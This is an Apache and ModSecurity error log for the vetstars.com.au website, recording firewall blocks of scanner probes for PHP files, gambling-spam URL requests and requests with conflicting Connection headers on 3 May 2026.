[Sun May 03 05:38:39.020552 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:30275] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "afZu33WfIjnWjXCxeM4t9QAAARY"]
[Sun May 03 05:38:39.528387 2026] [:error] [pid 21934:tid 21957] [client 172.173.121.85:30230] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "afZu33WfIjnWjXCxeM4t-wAAARU"]
[Sun May 03 05:38:40.007891 2026] [:error] [pid 21934:tid 21960] [client 172.173.121.85:30255] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "afZu4HWfIjnWjXCxeM4uAAAAARg"]
[Sun May 03 05:38:40.605135 2026] [:error] [pid 21934:tid 21955] [client 172.173.121.85:5845] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "afZu4HWfIjnWjXCxeM4uBQAAARM"]
[Sun May 03 05:38:41.025879 2026] [:error] [pid 21934:tid 21950] [client 172.173.121.85:5232] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "afZu4XWfIjnWjXCxeM4uCAAAAQ4"]
[Sun May 03 05:38:41.506393 2026] [:error] [pid 21934:tid 21940] [client 172.173.121.85:5201] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "afZu4XWfIjnWjXCxeM4uDQAAAQQ"]
[Sun May 03 05:38:41.956773 2026] [:error] [pid 21934:tid 21957] [client 172.173.121.85:5245] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "afZu4XWfIjnWjXCxeM4uEAAAARU"]
[Sun May 03 05:38:46.063632 2026] [autoindex:error] [pid 40732:tid 40745] [client 172.173.121.85:6087] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 09:17:54.407635 2026] [:error] [pid 37126:tid 37176] [client 114.119.150.38:57985] [client 114.119.150.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afaiQvR_A42N-LtDyrvnBQAAABc"]
[Sun May 03 09:19:32.858641 2026] [:error] [pid 37246:tid 37272] [client 114.119.150.38:57987] [client 114.119.150.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afaipDhvYFGNwhnPamqN0wAAARY"]
[Sun May 03 09:20:55.517611 2026] [:error] [pid 37130:tid 37229] [client 114.119.145.22:29835] [client 114.119.145.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afai96Iu7bmXKXicRk8_wgAAAJA"], referer: http://vetstars.com.au/
[Sun May 03 12:48:04.501537 2026] [:error] [pid 40456:tid 40471] [client 114.119.138.32:47173] [client 114.119.138.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/caring-approach"] [unique_id "afbThDSujTvwdzEkjScUmwAAAY0"], referer: https://vetstars.com.au/caring-approach
[Sun May 03 12:48:14.150533 2026] [:error] [pid 37127:tid 37202] [client 162.14.81.106:44594] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afbTjv8khJXb5O5aWVUNVAAAAFE"]
[Sun May 03 13:58:48.299878 2026] [:error] [pid 40422:tid 40428] [client 43.153.67.21:39246] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afbkGEHBbBLrXh6PBusCjAAAAUI"]
[Sun May 03 17:04:47.220756 2026] [:error] [pid 37246:tid 37263] [client 43.166.255.102:50814] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afcPrzhvYFGNwhnPamoHbgAAAQ0"]
[Sun May 03 19:41:07.160306 2026] [:error] [pid 34432:tid 34450] [client 37.187.226.31:60850] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "afc0U573JKVQ0wlof4JqbQAAAdA"]
[Sun May 03 21:22:02.649065 2026] [:error] [pid 54535:tid 54541] [client 51.75.128.50:43058] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afdL-vRyz79iR-ntJRL6hwAAAgQ"]
[Sun May 03 21:22:06.463121 2026] [:error] [pid 34432:tid 34439] [client 51.75.128.50:48424] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afdL_p73JKVQ0wlof4KB3gAAAcU"]
[Sun May 03 21:22:09.614782 2026] [:error] [pid 34432:tid 34440] [client 51.75.128.50:48438] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afdMAZ73JKVQ0wlof4KB7gAAAcY"]
[Sun May 03 21:22:12.632762 2026] [:error] [pid 37127:tid 37196] [client 51.75.128.50:44866] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afdMBP8khJXb5O5aWVVJHgAAAEw"]
[Sun May 03 21:22:15.570525 2026] [:error] [pid 40386:tid 40404] [client 51.75.128.50:44882] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afdMB1HJDYRXUf3IbRQrXQAAANA"]
[Sun May 03 21:22:19.043165 2026] [:error] [pid 37130:tid 37225] [client 51.75.128.50:44906] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afdMC6Iu7bmXKXicRk-LfwAAAIw"]
[Sun May 03 21:22:22.041429 2026] [:error] [pid 40386:tid 40407] [client 51.75.128.50:44372] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afdMDlHJDYRXUf3IbRQrYAAAANM"]
[Sun May 03 21:22:25.161009 2026] [:error] [pid 37127:tid 37200] [client 51.75.128.50:44386] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afdMEf8khJXb5O5aWVVJJAAAAE8"]
[Sun May 03 21:22:27.918371 2026] [:error] [pid 37246:tid 37274] [client 51.75.128.50:44400] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afdMEzhvYFGNwhnPamoxEgAAARg"]
[Sun May 03 21:22:31.515305 2026] [:error] [pid 37130:tid 37216] [client 51.75.128.50:41902] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afdMF6Iu7bmXKXicRk-LgAAAAIM"]
[Sun May 03 21:22:34.516224 2026] [:error] [pid 37130:tid 37222] [client 51.75.128.50:41930] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afdMGqIu7bmXKXicRk-LgQAAAIk"]
[Sun May 03 21:22:37.538476 2026] [:error] [pid 37126:tid 37174] [client 51.75.128.50:41952] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afdMHfR_A42N-LtDyrtKVAAAABU"]
[Sun May 03 21:22:41.386285 2026] [:error] [pid 37127:tid 37198] [client 51.75.128.50:46648] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afdMIf8khJXb5O5aWVVJKQAAAE0"]
[Sun May 03 21:22:45.424712 2026] [:error] [pid 37127:tid 37189] [client 51.75.128.50:46654] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afdMJf8khJXb5O5aWVVJLAAAAEU"]
[Sun May 03 21:22:48.120775 2026] [:error] [pid 37126:tid 37164] [client 51.75.128.50:46672] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afdMKPR_A42N-LtDyrtKWwAAAAs"]
[Sun May 03 21:22:51.469468 2026] [:error] [pid 40422:tid 40436] [client 51.75.128.50:37944] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afdMK0HBbBLrXh6PButO4wAAAUo"]
[Sun May 03 21:22:54.652499 2026] [:error] [pid 37246:tid 37261] [client 51.75.128.50:37958] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afdMLjhvYFGNwhnPamoxFwAAAQs"]
[Sun May 03 21:22:57.990205 2026] [:error] [pid 34432:tid 34451] [client 51.75.128.50:37972] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afdMMZ73JKVQ0wlof4KCAAAAAdE"]
[Sun May 03 23:03:57.160374 2026] [:error] [pid 40456:tid 40476] [client 81.167.26.57:28200] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afdj3TSujTvwdzEkjSdkJAAAAZI"]
[Sun May 03 23:03:59.713529 2026] [:error] [pid 34432:tid 34449] [client 81.167.26.57:58175] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afdj3573JKVQ0wlof4KZOwAAAc8"]
[Sun May 03 23:04:02.315846 2026] [:error] [pid 37126:tid 37157] [client 81.167.26.57:16741] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afdj4vR_A42N-LtDyrtWCgAAAAQ"]
[Sun May 03 23:04:04.903997 2026] [:error] [pid 37127:tid 37206] [client 81.167.26.57:59218] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afdj5P8khJXb5O5aWVVQYgAAAFQ"]
[Sun May 03 23:04:07.526041 2026] [:error] [pid 37246:tid 37251] [client 81.167.26.57:10545] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afdj5zhvYFGNwhnPampAEQAAAQM"]
[Sun May 03 23:04:10.126545 2026] [:error] [pid 37126:tid 37167] [client 81.167.26.57:55581] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afdj6vR_A42N-LtDyrtWDwAAAA4"]
[Sun May 03 23:04:12.709483 2026] [:error] [pid 54535:tid 54553] [client 81.167.26.57:34373] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afdj7PRyz79iR-ntJRIMQAAAAhA"]
[Sun May 03 23:04:15.312649 2026] [:error] [pid 37127:tid 37189] [client 81.167.26.57:48990] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afdj7_8khJXb5O5aWVVQZQAAAEU"]
[Sun May 03 23:04:17.772888 2026] [:error] [pid 54535:tid 54538] [client 81.167.26.57:49812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afdj8fRyz79iR-ntJRIMQgAAAgE"]
[Sun May 03 23:04:20.377298 2026] [:error] [pid 40386:tid 40392] [client 81.167.26.57:60741] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afdj9FHJDYRXUf3IbRQwHgAAAMQ"]
[Sun May 03 23:04:22.965047 2026] [:error] [pid 40456:tid 40482] [client 81.167.26.57:53425] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afdj9jSujTvwdzEkjSdkJwAAAZg"]
[Sun May 03 23:04:25.446405 2026] [:error] [pid 34432:tid 34436] [client 81.167.26.57:54336] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afdj-Z73JKVQ0wlof4KZPgAAAcI"]
[Sun May 03 23:04:28.026047 2026] [:error] [pid 54535:tid 54555] [client 81.167.26.57:40855] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afdj_PRyz79iR-ntJRIMRgAAAhI"]
[Sun May 03 23:04:30.670514 2026] [:error] [pid 40456:tid 40468] [client 81.167.26.57:6252] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afdj_jSujTvwdzEkjSdkLAAAAYo"]
[Sun May 03 23:04:33.286315 2026] [:error] [pid 34432:tid 34450] [client 81.167.26.57:46500] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afdkAZ73JKVQ0wlof4KZQgAAAdA"]
[Sun May 03 23:04:35.942708 2026] [:error] [pid 37127:tid 37206] [client 81.167.26.57:40830] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afdkA_8khJXb5O5aWVVQawAAAFQ"]
[Sun May 03 23:04:38.484795 2026] [:error] [pid 37130:tid 37225] [client 81.167.26.57:41188] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afdkBqIu7bmXKXicRk-T8wAAAIw"]
[Sun May 03 23:04:41.086508 2026] [:error] [pid 37130:tid 37219] [client 81.167.26.57:28083] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afdkCaIu7bmXKXicRk-T9wAAAIY"]
[Sun May 03 23:04:43.704693 2026] [:error] [pid 34432:tid 34437] [client 81.167.26.57:56451] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afdkC573JKVQ0wlof4KZSgAAAcM"]
